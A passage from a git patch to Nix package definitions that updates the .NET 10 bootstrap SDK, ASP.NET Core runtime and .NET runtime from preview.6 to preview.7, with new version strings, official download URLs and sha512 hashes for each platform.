+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-x64";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-m4+5c4eH8FsloMih4Pl/Fuf5dVljpTasP7wzRjn5UAt2M7RdQC5DbC3ZZDTuDSIwuDVKXoLzUbDV6ui5SBJ0mA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-bVGv/VP4T598HMR97vrcF8NxOv43rTn4RtH5JSm/Z/I2l6Jf4OsEmrP7ciCJho65xgG2NN7E80dAfv6Waan/DQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-t0G1lpmSy3Bb/0k4riHo+oT2h53IbHHC92oy3Mnxg2Nm/ZBoGDW55/maB5lF+IbEoNsScpAhsFNf7gAv5KPOhw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-OvOg+DllupzQyo2AiWJOWhd3G7sXoROVbGIbaO48l3cXJf+EkT3mwK0WyKNJo1SYDBSHP4PL3CELLyl7KeuBTA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-Xgu9wAHojyPC6/9OhNk4Bpmhmb4FAcJMMb3S7xwwPFuEx7pKSCPOA/3Gv/8xR3w3lYoMhvs94Jn4zzLPw/d46A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-di/eQOCbK7Gckc/GaFEJbeHA8xc1sjPYb4ZgSDQG8s/lSc5EocnPG6YSiPu5noCS/kl4caLJzu8mcNEbHo9fQg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-FDFqh+DYEYnPZjLzODbygevvyrQH15WVg/pcDbiFlE0dsoL7LQ3ST3G6Vz5GfpAZyO0A8O7ekGOH81+wskmeiw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-e4ZDOtOGLbKnCy90C+6+pAtkX/CJlAI3dPV3zF8Dtk4kCG6m+4TnbohG8z+CBaY4Tyh7HRXfCwA0sMhkZIhJ/A==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-npZ0pXzs+1mOb/G8asxE4QYUrrQlvuVjO24sgaqgQ/o8Ir3m1jTxXhETRj7IXKiPiVMIaLPV+c3XtpdDKouH9A==";
+      })
+      (fetchNupkg {
+        pname = "Microsoft.NETCore.App.Runtime.NativeAOT.win-x86";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-7mbJh2PmKeWmniK6eOPGC1RZ5MGgLzf4czbisbCrCvw/wS/TXlq3kfkmT8sU+jjQQvutRbNXCES8HYK4vuVaog==";
       })
     ];
   };
 
 in
 rec {
-  release_10_0 = "10.0.0-preview.6";
+  release_10_0 = "10.0.0-preview.7";
 
   aspnetcore_10_0 = buildAspNetCore {
-    version = "10.0.0-preview.6.25358.103";
+    version = "10.0.0-preview.7.25380.108";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-arm.tar.gz";
-        hash = "sha512-/mrP2TIr27NliznmIGDFdjriPeeSpDDbRyaM++1gNgJk55NQArHO3KgTMog2d5XlnTgkp03lH5lk3FQKgU2RiQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-arm.tar.gz";
+        hash = "sha512-lXwjay3tSsk2fperQsxjo28PeydYBQA552QN/aOCTlpl6/LTB2L8diIqgdGUpJ593riZcUo3vCjbZwjY1bGC7Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-arm64.tar.gz";
-        hash = "sha512-iGZ9ZtkKq6MGSfhNENBX2nwNtHnNs2t2gk3I4PAqRKa/XSaddNqg1reDdvLcZrYCOFWCZ1VeLO1Ay9BqrHRdag==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-arm64.tar.gz";
+        hash = "sha512-gTWO1Grf/RpOLglePSPWfR0ommxMUKsg4ecRYbKCPIxE3VpsJBrJs/zUoq9Rjb/7zNt7Os0HpCr5/yTF/WLGow==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-x64.tar.gz";
-        hash = "sha512-FczqQ09eM7SvhyvaANMNP+5ElBE6Hl17HoziBqsKLgk4T6WiI6/d5LlOo7fhK3lsGkUTi+gzKIvWh0GuhD+2yA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-x64.tar.gz";
+        hash = "sha512-9onzhvf6Vrm1O9fVEKvs8rnCI1j7KTZ4RsI/u6ewphpH2G287vlrc6corwduVcNGg4SXQC4M2AuGldncHqPCuQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-arm.tar.gz";
-        hash = "sha512-HArq8wBlBcK/tkjyViWT9iu3pVsAULbMgecK6cwaNcrbv9VGEXBaGwv4SYqqNV0DeEfJ6nqa2j9YVWiLpqYTSQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-arm.tar.gz";
+        hash = "sha512-uJ0bnKWphyzzZ3dKLKUVKkLtht7MGMWTsQSINGPOXPrKamn5F0SaArTSXqQVj4IqNqwNZVxTjBhOR611EYbs2w==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-arm64.tar.gz";
-        hash = "sha512-CH7Qk+rFkx3YjOnIF1Q/rEp/sAcF/+cet1U6/QoVtQfrWmO46FDhT+SI3t17OaCshkmaFU5oSBWpnBIjr1NJ0A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-arm64.tar.gz";
+        hash = "sha512-cAY0HJWlGRCm7gLVgemkHXZGSn777QrXedDmT8DXfEK70jNTf1fXb28P2zh/biVZK6UzYmcKXm7+1ho3TkIc7A==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-x64.tar.gz";
-        hash = "sha512-bU2Jk/BySlwwy7XDR9ovxoct3HUdvGykOI5/umDVFiZhk5g6mErGv+h5tEh4j3e6+1C5mWfe+6QD9E7j/ycx7Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-linux-musl-x64.tar.gz";
+        hash = "sha512-wRf0SCHNbFWna7nr/HRlYG04rInIEO4iSys6D/T1q/Ld27sZVoOeZyrrpPlR3wtax/GTXSqQttTc3cEep8M7UQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-osx-arm64.tar.gz";
-        hash = "sha512-VlWHBJhm7w4JIR0SLJUOPYfzvCL/dA5NVQYY1ppidjuN12bBNcC95Px8zLqmTzMhQrSQ0P1ClOTFjimCB49yBA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-osx-arm64.tar.gz";
+        hash = "sha512-D5iye4E6etLrWkCOe9sf/97fheARsEmF6QCV3ikW2qTDQhSsPPmgZvSbPn7gnVbXP56aGFjHHv+JAMxBRf0yVQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-osx-x64.tar.gz";
-        hash = "sha512-c2tCqqrbhlRIvM/bOO2KlmCELsmPS4Trexq/E6imjPsWbx8dHZt6viROKAC0BwPUsxpQO+o2NZc5oEHjMsZSXQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.7.25380.108/aspnetcore-runtime-10.0.0-preview.7.25380.108-osx-x64.tar.gz";
+        hash = "sha512-FQLipaTYahQwhA2TGknRX/07ZEZeV9IdcURItxlpz7zmU4LvgoJg8Wlt1GxAnzwD9riuenLlFWe0RMoQuoreoA==";
       };
     };
   };
 
   runtime_10_0 = buildNetRuntime {
-    version = "10.0.0-preview.6.25358.103";
+    version = "10.0.0-preview.7.25380.108";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-arm.tar.gz";
-        hash = "sha512-dkFn08ZTnl3/nj8Qh+pAs3urJy9+bB3gyGLXak0MNEUnmbRY6fpwMprijsbQfWtiSz9b0KooEubn7I+PavI7hw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-arm.tar.gz";
+        hash = "sha512-oyaRhovGFTGjL6O78RNBZGrFFBasUvaACTxXfTO2ODBqJqCjJ5poaoZUPg8v3MoOegfzYIF5UpRdybRt4pyXCQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-arm64.tar.gz";
-        hash = "sha512-cbydt+UH85l1JsTzkzkUYA+Q8AAxxhc1nzuAtyuBiljcgEpe2zTGt8qx4WVx6FVVRZUNGgcgv/WzGsY3RP204w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-arm64.tar.gz";
+        hash = "sha512-tTAequEUCb2/MZg7xpk39w3RezVe84D0yrMX6SHl1mFiZCzVfRmhT7ug78CadjNcbl8u6ZimDErHYssXJR04QA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-x64.tar.gz";
-        hash = "sha512-f+rKqGVeFFIdtrqaeGByN38GOGTkGMXk9ep5kjop9HJO9u0WB0VFnuAo8ZJ5r6HA/t6atpM3IgiQnu+HM8oDZA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-x64.tar.gz";
+        hash = "sha512-EnSHIJyzxKOUhHzO1aFduMW2bJOGboi0pweJ6iyQtB4pk+ANkZLUupiPM928iaXKL+TxmmEdftitjD4KRpLFAQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-arm.tar.gz";
-        hash = "sha512-XXF9htD5Vt8lgTAnA9TYSNyBQjHnEpOgkOr1axgUYIRUOj1GcOQxDrkPOS4YKtAHycx8wfRRTQ76nfO2XRCD8Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-arm.tar.gz";
+        hash = "sha512-aCCXjXxzep/7Pj9IGsDDAm3FRsH0JzlqgwkCdTiwhu+QEHHiKiCJt3ivXlG8aJpEFCAs79lgkc0zAVtQ9+GtHA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-arm64.tar.gz";
-        hash = "sha512-4mP7M8JBvsvY8vemP5tfQSPBpmfFVEfwOiSc/1SRs4pt+mKEURwPxidFxp8wK0ytnICIwnAJNYLX28p6LsZdCg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-arm64.tar.gz";
+        hash = "sha512-xJAlZHKLkx0jIHojHNSUZCKvqtFQjpGMISfcgjbc/yqVNXQQ4vC61bLYcZxkFMIJLQk4DDrnAVG1kgoyuzOHzw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-x64.tar.gz";
-        hash = "sha512-zf3Ek3pbRF4rjuks2odZedJWiUjdX+fQH4QwW2Mh3KZNZ+1hqYweccbaHu2CLwddC7BBBVGuyw+PPhMThDZ2qA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-x64.tar.gz";
+        hash = "sha512-wCfUh5zikKE4NaJWtYraqu2hdvCYgsej42+w4ik7Qo7/U+YhpHj+xF2SjxeL3VLn9KK03p4C0gSUxLmSXMtkBg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-osx-arm64.tar.gz";
-        hash = "sha512-zXzElKrtYs2r8Sh6CMvDoPKPMRLoluA37YLYRdZThzJ+I0UlvxwESbA+8hhSM9RWL7Wfv9GdXyjaPgpnE3RTdw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-osx-arm64.tar.gz";
+        hash = "sha512-72B+c82XraPNoxoMvqVWzWBAmiYSqUEnJxub+SXhLfhM97MmsLXt3s07rON/1vpwENSHzdxcIyR0Xe2W+LymAA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-osx-x64.tar.gz";
-        hash = "sha512-lm3Eezqhx6qSOzVI2IdkiCNpKwU/CT5PJrhmu/WAmx3W7zi9LC5RpOgPBsXb5K7Q21uuVSrZgmRi+sMOpormFg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-osx-x64.tar.gz";
+        hash = "sha512-4kBn/dR8b/jTCNNnNwK6FD/a3VC0pRca8qq36AYz7uGeZqC2lAvqSq6Yik05EVWjW6eOV3YM3d2lr169M1s9EA==";
       };
     };
   };
 
   sdk_10_0_1xx = buildNetSdk {
-    version = "10.0.100-preview.6.25358.103";
+    version = "10.0.100-preview.7.25380.108";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-arm.tar.gz";
-        hash = "sha512-lYjjTcixBEvdjpzqH9DWtWf+3w3br0iXsVOrmz6TrElXRXgQ+p7NfaTVo22KBbxItnCv0PUtTVbRQPdCoEOCCg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-arm.tar.gz";
+        hash = "sha512-knm/wwbPU/3AJnPGjrwGgYsm+wXukE/zFej/UoqNWLU0KoZkIjOkpnIi9Qe2ARC4IYSSx7l5cb7nj7EKFfiu6A==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-arm64.tar.gz";
-        hash = "sha512-cwFkPqL72yWCUmxtRpnTy2V/bJDjzn8nRq1RwyCoSDwoDToV/C4HJgWyvf52NpBjo4T/Ydef+WRBg+SyHBundA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-arm64.tar.gz";
+        hash = "sha512-qBiJz0LOz2FqdoXKsXUIaUzug+dqlhnGTomvr/TTgmaOpMft/etEU6DBPfzurIZuo9D+BfPfEkY4pMpYtP2nJQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-x64.tar.gz";
-        hash = "sha512-ZivWGncnWokxhq7VsKbmamE9M2V/cQJqJ/dl8RlreOPzoq2ljhs34Prqw5qDd7Pps7zqK3LFsG3V2YSK2Yc/Pw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-x64.tar.gz";
+        hash = "sha512-KNA8LaQR6BYb+jcUjzX/Yi6qI0GtzXKae1I/dKoh6Pf2UBnaENKG1nhY0Z/2AII4C4dDbfm8zicUe0/bIShvsg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-arm.tar.gz";
-        hash = "sha512-9E/Akg2mqGl07lLa7ODP/oyJEZPOmp1ob9k+gXiB7CSLkT5xdF7ldqZb9P3BZQZxivkERM7g9wFPuJZ6k6bMyA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-arm.tar.gz";
+        hash = "sha512-D65/QdZ5g5I0GWMqoc+JW9K+0oaBLcysWLUkrgxrgBuxhVUJ1t9L+EfkxAx5ll31z2BrwH8iV49JzAo+/1dEjQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-arm64.tar.gz";
-        hash = "sha512-xK/vp5j5cN3jplkjwCZItn87VU5Rp94TstKSRoQ3EtCGRcj8IjpAi9N+Df17+HWA0EaM+nQAlexbNbknQG+Lnw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-arm64.tar.gz";
+        hash = "sha512-zIjcxU2QbdIS9MOD3gfTSUfMS2RZJAtfwTqei25dfUgrymc1cXixQZUFfviDx+YOT/2ArvSEyYqXOYf+SZPBow==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-linux-musl-x64.tar.gz";
-        hash = "sha512-LCj610mZoxlInz08MT41eSP+UaQCG+01OZeA8trqlZzehNkYNdHjEMk71LfLaV+xT29lAa0LFmF0L/xYAVNiaQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-x64.tar.gz";
+        hash = "sha512-hcpucoRlWBlxrzWL7dJkDADJ11xJysH6mz3plrQKE+lfNbdXPe+u/r38Z0xHjotXn4GhAwvj8WC2cgsx/f1ooQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-osx-arm64.tar.gz";
-        hash = "sha512-xDIGEqUUEXVSocsTu6RBc72L25UGwTtLmmeumrCziq1+zU5d0dTDIwukn7luzRSyrzQWkp52UcXJkMv3ber7mg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-osx-arm64.tar.gz";
+        hash = "sha512-eI/e7V31AEm8/hNwBZzfp0M5CkLZv1LHRVY+qsRL9UqVSqyjVjZLq2tbEIsbbZ4NbPJ8JT0uYrBkQARmn4GXxw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.6.25358.103/dotnet-sdk-10.0.100-preview.6.25358.103-osx-x64.tar.gz";
-        hash = "sha512-rWlkOrW5A00BlxcOx+TusNgSzeXwKKHq8X+w8gnOKyUZMrJBKNsMVfBXs+mv9n14vLBFmAiT+B2WlQMjYRpnlQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-osx-x64.tar.gz";
+        hash = "sha512-/Dk0clsJJHMl7hDlaBlhZyKmMPSBS7k8Q7YLLtvTLuI83esARdZACAi4QNBQ7Q3Etbz5WpDeG5MpNrYjVuHqVQ==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 64694d3f2bd727e7e944bc24fa8cc007af23d22e Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Tue, 12 Aug 2025 22:26:42 +0000
Subject: [PATCH 3910/4511] dotnetCorePackages.dotnet_10.vmr: 10.0.0-preview.6
 -> 10.0.0-preview.7

(cherry picked from commit 954b774bb5eba412f1e930f9501721b866fab58b)
---
 .../compilers/dotnet/10/bootstrap-sdk.nix     | 376 +++++++++---------
 .../development/compilers/dotnet/10/deps.json |  48 +--
 .../compilers/dotnet/10/release-info.json     |   6 +-
 .../compilers/dotnet/10/release.json          |  14 +-
 ...-size-estimation-when-bundling-symli.patch |  47 +++
 ...x-missing-libunwind-symbols-on-linux.patch |  42 ++
 ...ernals-overwrite-rather-than-append-.patch |  26 --
 pkgs/development/compilers/dotnet/vmr.nix     |  27 +-
 8 files changed, 328 insertions(+), 258 deletions(-)
 create mode 100644 pkgs/development/compilers/dotnet/bundler-fix-file-size-estimation-when-bundling-symli.patch
 create mode 100644 pkgs/development/compilers/dotnet/mscordac-fix-missing-libunwind-symbols-on-linux.patch
 delete mode 100644 pkgs/development/compilers/dotnet/source-build-externals-overwrite-rather-than-append-.patch

diff --git a/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
index f9f308809983..2c89bde437d9 100644
--- a/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-DF9lEJjcAAcQtFB9hLXHbQaLW82nb4xlG9MKfbqpZzIQfidqcAuE2GOug/q6NNDcw+N88J0p0jKPz+k3qKmAKw==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-ZedqhbGvDx8Ajn1N9SRKq4q/m7rIQdPmcvQS7WOaijpqqjNa4P4zTd1kx+/kb6a5FJ6thD6yt/hEADTGpUpflg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-SV9nyI2/sg7Rh3f01eDScmjKYuuzI6xPX+iknl2zsecspqYBlWcPN1SvMDlaD/sK3GG5jl3hrM/GcOIqMpoFJA==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-OcQqR5UG3AFa0aQNIRTB3acRpQ+OhuF8ZpLIQM3xp+egvzzKRP20jja/gWhngIVtEA012XxLiNxJrHhzWhtLhQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-npMO7GioGKn0FigriTOCsi4HgSENnW9YRJYXhyFtCGLR7b71FDLVY8nHemM0XYm9lI0tH23N1EwcDFyzHTDuNA==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-1UT2fr9kFvdpRb3+h3dTmGTnhKTvGKpYFRQuZUD8ukmaQ9ABhnXp35E8GJoA6d6pOERiRnhimzrVg/X3B4znUA==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-zDr+tWvnlB9iEwnAlfa3PW/S1/0nw1lhvXBWghgE6o9O5sxc35V3aobPAs+Cm6DTN+lvNMouhjPt6pn2t4PvQQ==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-Eekoq6ATo+jeIsK0GafnGK8XkdjKtdOVT7deD1TWo04/nt0KV7nOmBUOhwUKY1sBsjvTQvOoDthn505f74N3Vg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "10.0.0-preview.6.25358.103";
-      hash = "sha512-W1yNC4+7vV1XPSXJx7HFsvFCi1C1XZ7QVlfbu+xq4pt1/0cVJGZaRlbwBNUAv4PAdg2JGM4VYtcr3ZreOJ1hzA==";
+      version = "10.0.0-preview.7.25380.108";
+      hash = "sha512-pX4P7NG1jHIRJrbHrVP/MvDyA89o7HeuKucToiIH6flQ5ixTntZJupIW5qg2wsScJOltfP3A7j/w6MTRA9dHOQ==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-IKe0SROzAWJiFZyh2KVmTU5i8ddcEqvr5NIr+3RfzvBEYa3SNBbqy1W1x0TR2aEvYgSqxKSohhs9YVSDlrlx0Q==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-ekrR6F7cC48jWc0+Fyv3emOc5bkuv+yvKg2ZDjuv9gRf6e8zWGG6PkXKkPuo8sxHacPucgc1bIibVgVGJi20VA==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-5h33Uf2vFcjVkeNRD41YiERegQ7twv6sljYAMtz/kIHcIk90aB0ztZoKXXVi+vNxma7q/f5oPxhzUVidZ3vw8g==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-QUg7nZopW/0+Lnk4VeNHF3Ov3I6IuqsDSbvkeEDWjWyNXyOnJzDErKN3d5p6jWdmc3jjndyOw1137vaOKV5apA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-yImkb4fnUJIXR2Me5N8eOrX7w9+u8SAAIp8QtlWdZ6WptjG6PUByTs2hjTfX/aVKjO4p1dmKTaWJ0qYR6yuDEQ==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-k9W3fq0DjcbjxuveOQd1ou8fsHhNH/zHayPE9b1VRj2CijLx8krGGKkP3gUR7jLbOE+o9/Xln7cEsWzRBb9tdg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-1FIBZLtWKIxULrRjLrldz6kwVSoAIf72kXKE0WgXECVez98NbQXLEM90hfpHj0LcQfzqOoP9kY48yRSoXp+rXg==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-+zsgGnlZS6MdL/uyvAQAN0KAc8Vk1qT8ylHCi+iwUXqwslSGtZQku+qGvkd7hjMMnEbnSa5j7xJY4PNGDbco4Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-eMokXhxbTVJUHwlAhM1dVZmjljs/s1nRfvrJ0AeJaTbetXnD63Fd6sQeMmw/EifYnpdtxr/gIJRHLPsuLNDcAA==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-+LG/u+Jp6b3Oyud1QYP3nph1uqtx4rhPbeH65leIMSFQg6bB8Jd9g4hNwESllHd6iKpKP7Sp17VxLKynzxwHDw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "10.0.0-preview.6.25358.103";
-        hash = "sha512-qw5Xb2+l14q+2OSesjwGn3gHpdFj0wUeA3RLEUaljzW8FF5HD78B6t1YuhFJhcENuDNAv5d8Fcy4N1mG/RQZUw==";
+        version = "10.0.0-preview.7.25380.108";
+        hash = "sha512-BE7hZwP4oZ5Xacmhjwc3Ciy0KJKOXwg9NJiBVzFv7xEJ7IqVceP7kAdMPsMNoojwz2KNs9gJdCOGOLtwyeTZyw==";
       })
     ];
